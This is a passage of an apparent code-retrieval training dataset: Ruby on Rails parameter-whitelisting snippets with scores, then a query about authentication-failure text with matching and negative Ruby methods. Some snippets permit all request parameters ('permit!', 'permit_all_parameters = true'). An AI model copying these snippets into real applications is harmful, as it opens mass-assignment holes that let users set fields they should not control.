:last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
type could be ladp, horizon or mozy
def initialize(subdomain = nil, type = 'mozy') @subdomain = subdomain @type = type self.class.set_url("https://#{@subdomain}.mozypro.com/login/user") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def bike_type(type)\n if type == 1\n @discipline = \"mountain\"\n @frame = \"mountain\"\n elsif type == 2\n @discipline = \"road\"\n @frame = \"road\"\n else\n @discipline = \"cyclo-cross\"\n @frame = \"cyclo-cross\"\n end\n @discipline\n @frame\n end", "def set_type(type)\n @type = type\n\n case type\n when :wall\n @color = 3\n @name = 'wall'\n @passable = false\n @symbol = '#'\n @transparent = false\n when :floor\n @color = 4\n @name = 'floor'\n @passable = true\n @symbol = '.'\n @transparent = true\n when :down_stairs\n @color = 7\n @name = 'down stairs'\n @passable = true\n @symbol = '>'\n @transparent = true\n when :up_stairs\n @color = 7\n @name = 'up stairs'\n @passable = true\n @symbol = '<'\n @transparent = true\n end\n end", "def type\n if rank_test(0) && rank_test(2)\n :mutually_assured_destruction\n elsif rank_test(0)\n :war\n else\n :basic\n end\n end", "def type(type); end", "def my_type(type)\n case type\n when /bond/i\n \"Bonds\"\n when /stock/i\n \"Stocks\"\n when /alternative/i\n \"Alternatives\"\n else\n \"Unclassified\"\n end\n end", "def type\n return :basic if @is_basic\n return :platinum if @is_platinum\n return :centurion if @is_centurion\n return :premium if @is_premium\n :unknown\n end", "def describe_type\n puts \"I am a #{type} of Bees Wax\"\n end", "def lf_type(type)\n type = type.downcase.gsub(' ', '_').intern if type.class == String\n\n case type\n when :normal\n retval = self.lf\n when :rot\n retval = self.lf\n when :best_in_slot\n retval = self.bislf\n when :bis\n retval = self.bislf\n when :situational\n retval = self.sitlf\n when :sit\n retval = self.sitlf\n end\n end", "def type() end", "def hop_type\n case location.type\n when Location::GALAXY\n :galaxy\n when Location::SOLAR_SYSTEM, Location::SS_OBJECT\n :solar_system\n else\n nil\n end\n end", "def get_shower_type\n self.shower_type ? self.shower_type.i18n_description : '?'\n end", "def slots_based_on_type(staff:, type:, date:)\n case type\n when :central_office\n 11\n when :video\n staff.stc4\n when :travel\n (date.monday? || date.friday?) ? staff.stc2 : staff.stc3\n end\n end", "def slots_based_on_type(staff:, type:, date:)\n case type\n when :central_office\n 11\n when :video\n staff.stc4\n when :travel\n (date.monday? || date.friday?) ? staff.stc2 : staff.stc3\n end\n end", "def train_wagon?(wagon)\n wagon.type == self.type\n end", "def weather(type, power, duration)\n @weather_type_target = type\n if @weather_type_target!=0\n @weather_type = @weather_type_target\n end\n if @weather_type_target==0\n @weather_max_target = 0.0\n else\n @weather_max_target = (power + 1) * 4.0\n end\n @weather_duration = duration\n if @weather_duration==0\n @weather_type = @weather_type_target\n @weather_max = @weather_max_target\n end\n end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def fuel_type; end", "def find_model(type)\n if type == \"liti_types\"\n modeltype = TypesLiti\n elsif type == \"nonliti_types\"\n modeltype = TypesNonLiti\n elsif type == \"activity_types\"\n modeltype = Physical::Timeandexpenses::ActivityType\n elsif type == \"expense_types\"\n modeltype = Physical::Timeandexpenses::ExpenseType\n else\n modeltype = type.singularize.camelize.constantize\n end\n return modeltype\n end", "def type=(type); end", "def kind\n if @side_a == @side_b && @side_a == @side_c\n :equilateral\n elsif @side_a == @side_b || @side_b == @side_c || @side_c == @side_a\n :isosceles\n else\n :scalene\n end\n end", "def weather(type, power, duration)\n @weather_type_target = type\n if @weather_type_target != 0\n @weather_type = @weather_type_target\n end\n if @weather_type_target == 0\n @weather_max_target = 0.0\n else\n @weather_max_target = (power + 1) * 4.0\n end\n @weather_duration = duration\n if @weather_duration == 0\n @weather_type = @weather_type_target\n @weather_max = @weather_max_target\n end\n end", "def describe_type\n puts \"I am a #{type} type of Bees Wax\"\nend", "def slots_based_on_type(staff:, type:, date:)\n case type\n when HearingDay::REQUEST_TYPES[:central]\n 11\n when HearingDay::REQUEST_TYPES[:video]\n staff.stc4\n when HearingDay::REQUEST_TYPES[:travel]\n (date.monday? || date.friday?) ? staff.stc2 : staff.stc3\n end\n end", "def format_monitoring_type(type)\n if type == 'bellow'\n _('Drops_bellow')\n elsif type == 'above'\n _('Increases_more')\n elsif type == 'simultaneous'\n _('Simultaneous_calls')\n else\n _('Specify_how_to_format_monitoring_type')\n end\n end", "def is_xy?(); @type == GRT_XY; end", "def geom_type\n case geo_concern.class.to_s\n when /ImageWorkShowPresenter/\n 'Image'\n when /RasterWorkShowPresenter/\n 'Raster'\n when /VectorWorkShowPresenter/\n vector_geom_type\n end\n end", "def optional_type\n @only_power = false\n @only_light = false\n if params.has_key? 'power' and not params.has_key? 'light' then\n @only_power = true\n elsif params.has_key? 'light' and not params.has_key? 'power' then\n @only_light = true\n end\n end", "def wizard_archtype\n\t\t@str = 3+rand(1..5)\n\t\t@vit = 3+rand(1..7)\n\t\t@hp = (@str/2 + 2*@vit + 8)\n\t\t@ma = 3+rand(5..15)\n\t\t@res = 3+rand(5..17)\n\t\t@mp = (@ma/2 + 2*@res + 7)\n\t\t@dex = 3+rand(1..7)\n\t\t@job = \"Wizard\"\n\tend", "def type\n read_attribute(:type) || Figaro.env.meal_types.split.first\n end", "def type_lattice\n self.class\n end", "def plotType(sym, type)\n\t@plots[id(sym)][:lt] = type\n end", "def set_type\n end", "def type\n munson.type\n end", "def check_privilege(type)\n\nif type.floor == 1\n\t\"seller\"\n\nelsif type.floor == 2\n\t\"manager\"\n\nelsif type.floor == 3 \n\t\"admin\"\n\nelse \n \t\"user\"\n\n\tend\nend", "def type\n\tend", "def type\n\tend", "def type\n requires_preauth\n app\n formation = get_formation\n changes = if args.any?{|arg| arg =~ /=/}\n args.map do |arg|\n if arg =~ /^([a-zA-Z0-9_]+)=([\\w-]+)$/\n type, new_size = $1, $2\n current_p = formation.find{|f| f[\"type\"] == type}\n if current_p.nil?\n error(\"Type '#{type}' not found in process formation.\")\n end\n p = current_p.clone\n p[\"size\"] = new_size\n p\n end\n end.compact\n elsif args.any?\n size = shift_argument.downcase\n validate_arguments!\n formation.map{|p| p[\"size\"] = size; p}\n end\n scale_dynos(formation, changes) if changes\n display_dyno_type_and_costs(get_formation)\n end", "def type\n @type ||=\n case office_level\n when \"city\", \"other\"\n case division_scope.downcase\n when \"citycouncil\"\n \"Councilmember\"\n when \"citywide\"\n if office_name == \"Mayor\"\n \"Mayor\"\n else\n \"MunicipalOfficial\"\n end\n else\n raise \"Unknown office_level and division_scope combination\"\n end\n when \"county\"\n \"CountyOfficial\"\n when \"state\"\n case division_scope.downcase\n when \"stateupper\", \"statelower\"\n \"StateLegislator\"\n when \"statewide\"\n if office_name == \"Governor\"\n \"Governor\"\n else\n \"StateOfficial\"\n end\n end\n when \"federal\"\n case division_scope.downcase\n when \"statewide\", \"congressional\", \"district congressional\", \"congressional district\"\n \"FederalLegislator\"\n when \"national\"\n if [\"President\", ].include?(office_name)\n office_name.sub(\" \", \"\") # handles Vice President\n else\n \"FederalOfficial\"\n end\n end\n end\n end" ]
[ "0.66726726", "0.6429254", "0.6274507", "0.60714024", "0.60548383", "0.60228145", "0.59751844", "0.5972987", "0.59055114", "0.584823", "0.58131075", "0.57939947", "0.57939947", "0.57897425", "0.5745344", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5742331", "0.5740337", "0.57087797", "0.56760997", "0.5654198", "0.56509095", "0.56272125", "0.56142676", "0.5608093", "0.560402", "0.5569133", "0.5559724", "0.5537504", "0.5528108", "0.5520924", "0.55191153", "0.5506591", "0.5500674", "0.5493423", "0.549307", "0.549307", "0.54929876", "0.54737" ]
0.0
-1
Public: get authentication failed text Example
def authentication_failed authentication_failed_msg.text end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def failure\n msg_returned = request.params['message']\n login_failed msg_returned.nil? ? 'Auth0 login failed.' : msg_returned\n end", "def auth_fail\n fail(Kankri::AuthenticationFailure)\n end", "def fail\n render :text => request.env[\"omniauth.auth\"].to_yaml\n end", "def failed_text\n 'Failed: %d' % failed\n end", "def authentication_error\n # User's token is either invalid or not in the right format\n render 'api/v1/shared/failure', locals: { errors: [{ user: ['is unauthorized'] }] }, status: :unauthorized # Authentication timeout\n end", "def login_faild\n\t\treturn error_log errors:{unauthenticated:[\"Incorrect User name and password\"]}\n\tend", "def failed_message\n Online::OPERATION_FAILED_ADVICES[@data['error_code'].to_i || \"Errore sconosciuto (#{error_code})\"]\n end", "def local_auth_error\n (@token ? nil : 'Not authenticated with TimeSync,'\\\n ' call authenticate first')\n end", "def authentication_error_msg\n 'You are not authorized to access the Shopify shop.'\n end", "def render_failed_auth_response\n render status: 401,\n json: json_response(:fail, data: {user: \"Valid username and token must be present.\"})\n end", "def failure_authentication(body = nil)\n api_header(\"1005\", \"Invalid token\", body)\n end", "def note_failed_signin\n error_status(true, :login_failure, {}, false)\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def invalid_authentication\n render_error 'Authentication failure', 'unauthorized', 401\n end", "def note_failed_signin\n flash[:error] = t('labels.name_or_password_error')\n logger.warn \"Failed login for '#{params[:email]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def password_retrieval_error_label()\n\t\t# unit_test_no_generate: password_retrieval_error_label, div.className(create_ats_regex_string(\"ats-pwdretrievalerrorlbl\"))\n\t\t$tracer.trace(__method__)\n\t\treturn ToolTag.new(div.className(create_ats_regex_string(\"ats-pwdretrievalerrorlbl\")), __method__)\n end", "def note_failed_signin\r\n flash[:error] = \" Invalid user/password combination.\"\r\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\r\n end", "def note_failed_signin\n flash[:error] = \"用户名或密码错误!\"\n logger.warn \"Failed login for '#{params[:email]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def log_failure( reason )\n\t\tself.log.warn \"Auth failure: %s\" % [ reason ]\n\t\theader = \"Basic realm=%s\" % [ self.class.realm || self.app.conn.app_id ]\n\t\tfinish_with( HTTP::AUTH_REQUIRED, \"Requires authentication.\", www_authenticate: header )\n\tend", "def log_failure( reason )\n\t\tself.log.warn \"Auth failure: %s\" % [ reason ]\n\t\theader = \"Basic realm=%s\" % [ self.class.realm || self.app.conn.app_id ]\n\t\tfinish_with( HTTP::AUTH_REQUIRED, \"Requires authentication.\", www_authenticate: header )\n\tend", "def auth_failed\n message = params.dig(\"message\") || \"incorrect username and/or password\"\n message = \"Login failed: #{message}\"\n if request.xhr?\n render plain: message, status: :unauthorized\n else\n flash['error'] = message\n redirect_to return_url, allow_other_host: true\n end\n end", "def authentication_error\n # User's token is either invalid or not in the right format\n render json: {error: t('unauthorized')}, status: 401 # Authentication timeout\n end", "def authentication_error\n # User's token is either invalid or not in the right format\n render json: {error: t('unauthorized')}, status: 401 # Authentication timeout\n end", "def authentication_error\n # User's token is either invalid or not in the right format\n render json: {error: t('unauthorized')}, status: 401 # Authentication timeout\n end", "def authentication_error\n # User's token is either invalid or not in the right format\n render json: {error: t('unauthorized')}, status: 401 # Authentication timeout\n end", "def note_failed_signin\n message = \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now}\"\n errormark \"Couldn't log you in as '#{params[:login]}'\"\n warn message\n audit message\n end", "def render_failed_auth_response\n render status: 401,\n json: json_response(:fail, data: {user: \"Valid email and token must be present.\"})\n end", "def incorrect_login_error(err_code)\n error_with_data(\n err_code,\n 'Email or password is incorrect.',\n 'Email or password is incorrect.',\n GlobalConstant::ErrorAction.default,\n {}\n )\n end", "def authentication_error\n # User's token is either invalid or not in the right format\n render json: {error: 'unauthorized'}, status: 401 # Authentication timeout\n end", "def verification_failed_message\n return \"Verification Failed\"\n end", "def note_failed_signin\n flash[:error] = \"Invalid user name or password\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def note_failed_signin\n flash[:error] = \"Invalid user name or password\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def invalid_authentication\n Log.error(\"invalid_authentication\")\n render json: {error: 'Invalid authentication'}, status: :unauthorized\n end", "def test_wrong_password_login\n res = make_login Configuration.USER, Configuration.WRONG_PASSWORD\n puts \"\\nTester#test_wrong_password_login:\\n#{res}\" if Configuration.VERBOSE\n res == Constants.FAILURE_MESSAGE\n end", "def error_message\n @error_message || \"Could not log in\"\n end", "def authentication_error\n # User's token is either invalid or not in the right format\n render json: {error: 'unauthorized'}, status: 401 # Authentication timeout\n end", "def build_fail_output(data)\n\t \t{data: nil, code: 401, result: \"fail\"}\n\t end", "def failed_auth(msg)\n log_to_rollbar(msg) if defined?(Rollbar)\n DeviseSamlAuthenticatable::Logger.send(msg)\n fail!(error_message.html_safe)\n Devise.saml_failed_callback.new.handle(@response, self) if Devise.saml_failed_callback # rubocop:disable Style/SafeNavigation\n end", "def failure\n\n\t\t# do a clever redirect here!\n\t\tredirect_to root_url, :notice => \"Failed Authentication\"\n\n\tend", "def note_failed_signin\n flash[:error] = \"Não foi possível fazer seu login. Redigite seu e-mail e sua senha. As senhas do Cidade Democrática distinguem maiúsculas de minúsculas.\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def error_message\n err = details[\"err\"] || details[\"errmsg\"] || details[\"$err\"]\n if code = details[\"code\"]\n \"failed with error #{code}: #{err.inspect}\\n\\n\" <<\n \"See #{ERROR_REFERENCE}\\nfor details about this error.\"\n elsif code = details[\"assertionCode\"]\n assertion = details[\"assertion\"]\n \"failed with error #{code}: #{assertion.inspect}\\n\\n\" <<\n \"See #{ERROR_REFERENCE}\\nfor details about this error.\"\n else\n \"failed with error #{err.inspect}\"\n end\n end", "def handle_errored_login(code)\n Log.error(\"error code #{code}.\")\n end", "def note_failed_signin\n flash[:error] = \"Vous ne pouvez pas vous connecter en tant que '#{params[:login]}'\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def unauthorized_access_response_for_web(err, display_text)\n error_with_data(\n err,\n display_text,\n display_text,\n GlobalConstant::ErrorAction.default,\n {}\n )\n end", "def error_help(error)\n if error.error_code == 'API_DISABLED_FOR_ORG'\n return \"Your user may have the API enabled user profile perm off, or your user or org may not have Chatter turned on. Check with your administrator\"\n else\n return ''\n end\n end", "def test_wrong_user_login\n res = make_login Configuration.WRONG_USER, Configuration.PASSWORD\n puts \"\\nTester#test_wrong_user_login:\\n#{res}\" if Configuration.VERBOSE\n res == Constants.FAILURE_MESSAGE\n end", "def status_fail!()\n @status = TAC_PLUS_AUTHEN_STATUS_FAIL\n end", "def access_feedback\n error_string = ''\n error_string << I18n.t('auth.invalid_access') unless authenticated?\n error_string << I18n.t('auth.invalid_permissions') unless admin?\n error_string\n end", "def failure_message\n @message\n end", "def error_message\n @response.reason_phrase\n end", "def note_failed_signin\n flash[:error] = \"Impossible de vous connecter en tant que '#{params[:login]}'\"\n flash[:notice] = \"Peut être ne vous êtes vous pas encore inscrit\"\n logger.warn \"Authentification échoué en tant que '#{params[:login]}' pour #{request.remote_ip} à #{Time.now.utc}\"\n end", "def note_failed_signin\n flash[:error] = \"Usuário e/ou senha incorreto(s)\"\n #flash[:error] = \"Couldn't log you in as '#{params[:login]}'\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def failed_login_message\n if failed_login?\n flash.now[:error] = flash[:alert]\n flash.now[:alert] = nil\n end\n end", "def message\n message = 'VKontakte returned an errors:'\n\n @errors.each_with_index do |error, index|\n message << \"\\n #{index+1}) Code #{error[:error_code]}: '#{error[:error_msg]}'\"\n message << \"\\n after calling method '#{error[:method]}'.\"\n end\n\n message\n end", "def auth_failed(response)\n response && response.code == 401\n end", "def get_credentials\n Rails.logger.info(\"get_credentials\")\n if request.params['message']\n if request.params['message'] == \"\"\n error = \"Unknown Error\"\n else\n begin\n error = File.read(@error_pages[request.params['message']])\n rescue Exception => e\n error = \"Error: \" + request.params['message']\n end\n end\n end\n aem = AuthenticationErrorMessage.new(error)\n html = ERB.new(File.read(@login_page)) # Read every time - allows for changes while running\n res = html.result(aem.get_binding)\n Rack::Response.new(res).finish\n end", "def note_failed_signin\n flash.now[:error] = \"Usuário ou senha inválida\"\n logger.warn \"Falha no login do usuario '#{params[:login]}' através do IP #{request.remote_ip} às #{Time.now.utc}\"\n end", "def note_failed_signin\n flash[:error] = \"Login failed! Wrong username or password.\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def handle_failed_login\n Log.error(\"failure.\")\n end", "def note_failed_signin\r\n flash[:error] = \"Couldn't log you in as '#{params[:email]}'. Check your email or password.\"\r\n logger.warn \"Failed login for '#{params[:email]}' from #{request.remote_ip} at #{Time.now.utc}\"\r\n end", "def auth_error(e)\n json_response({ message: e.message }, :unprocessable_entity)\n end", "def error\n return Common::Exceptions::Unauthorized.new(source: self.class) unless user_loa3\n\n mvi_response.try(:error)\n end", "def unauthorized_error\n error!(\"401 Unauthorized\", 401)\n end", "def invalid_authentication\n #render json: {errors: ['Invalid Request']}, status: :unauthorized\n error!('Invalid Request', :unauthorized)\n end", "def note_failed_signin\n flash[:notice] = \"We could not log you in with the credentials supplied. Perhaps you mistyped them, or you have not yet activated your account by verifying your email address?\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def check_for_error(res)\n body = res.parsed_response\n raise ValidationError.new(body), \"Authentication failed\\n status code: \\\"#{res.code}\\\"\\n message: \\\"#{body['error']}\\\"\" if res.code != 200\n end", "def auth_base(value)\n if respond_to?(:auth)\n msg = auth(value)\n return msg if !msg.nil?\n end\n\n return \"504 5.7.4 authentication mechanism not supported; use TLS and PLAIN\"\n end", "def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:email]}'\"\n logger.warn \"Failed login for '#{params[:email]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:email]}'\"\n logger.warn \"Failed login for '#{params[:email]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def invalid_authentication\n render json: { error: 'Invalid request' }, status: 403\n end", "def invalid_login_attempt\n warden.custom_failure!\n json_response({ success: false, message: \"Username/Password incorrect.\" }, 400)\n end", "def error_message(obj, name = \"\")\n if name.present? && obj.get_operation_result.code.zero?\n \"Could not find user '#{name}'\"\n else\n \"#{obj.get_operation_result.message} (code #{obj.get_operation_result.code})\"\n end\n end", "def status_error!()\n @status = TAC_PLUS_AUTHEN_STATUS_ERROR\n end", "def authenticate_error\n render json: { error: t('devise.failure.unauthenticated') }, status: 401\n end", "def password_field_help_text\n help_text = t(\"application.#{auth_type_with_institution}.password_help_text\", raise: true)\n content_tag(:p, help_text, class: 'help-block') if help_text\n rescue I18n::MissingTranslationData => e\n nil\n end", "def raise_api_error_msg(res)\n \"HTTP status code: #{res.status}, \" \\\n \"Error message: #{res.body['message']}, \" \\\n \"Reference: #{res.body['reference']}\"\n end", "def invalid_authentication\n render json: {error: 'Invalid request'}, status: :unauthorized\n end", "def error_401\n\t\t\tjson_error 'Unauthorized', 401,\n\t\t\t\t'WWW-Authenticate' => \"Basic realm=\\\"#{Nacreon::Config.domain}\\\"\"\n\t\tend", "def invalid_authentication\n render json: {error: 'Invalid Request'}, status: :unauthorized\n end", "def failure_message\n parts = []\n parts << %(\n Hi. Your friendly Curry bot here. Just letting you know that there are\n commit authors in this Pull Request who appear to not have signed a Chef\n CLA.\n ).squish\n\n unknown_commit_authors_with_email_count = @pull_request.unknown_commit_authors.with_known_email.count\n\n if unknown_commit_authors_with_email_count > 0\n parts << %{\n There are #{unknown_commit_authors_with_email_count} commit author(s)\n whose commits are authored by a non GitHub-verified email address in\n this Pull Request. Chef will have to verify by hand that they have\n signed a Chef CLA.\n }.squish\n end\n\n unknown_commit_authors_with_login = @pull_request.unknown_commit_authors.with_known_login\n\n if unknown_commit_authors_with_login.count > 0\n parts << 'The following GitHub users do not appear to have signed a CLA:'\n\n list = unknown_commit_authors_with_login.map do |commit_author|\n \"* @#{commit_author.login}\"\n end.join(\"\\n\")\n\n parts << list\n end\n\n parts << [\n '[Please sign the CLA here.]',\n \"(#{ENV['CURRY_CLA_LOCATION']})\"\n ].join\n\n parts.join(\"\\n\\n\")\n end", "def invalid_authentication\n render json: { error: 'Not Authenticated' }, status: :unauthorized\n end", "def unauthorized\n [ 401, {'Content-Type' => 'text/plain', 'Content-Length' => '13'},\n ['Unauthorized.'] ]\n end", "def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:login]}'\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:login]}'\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:login]}'\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at 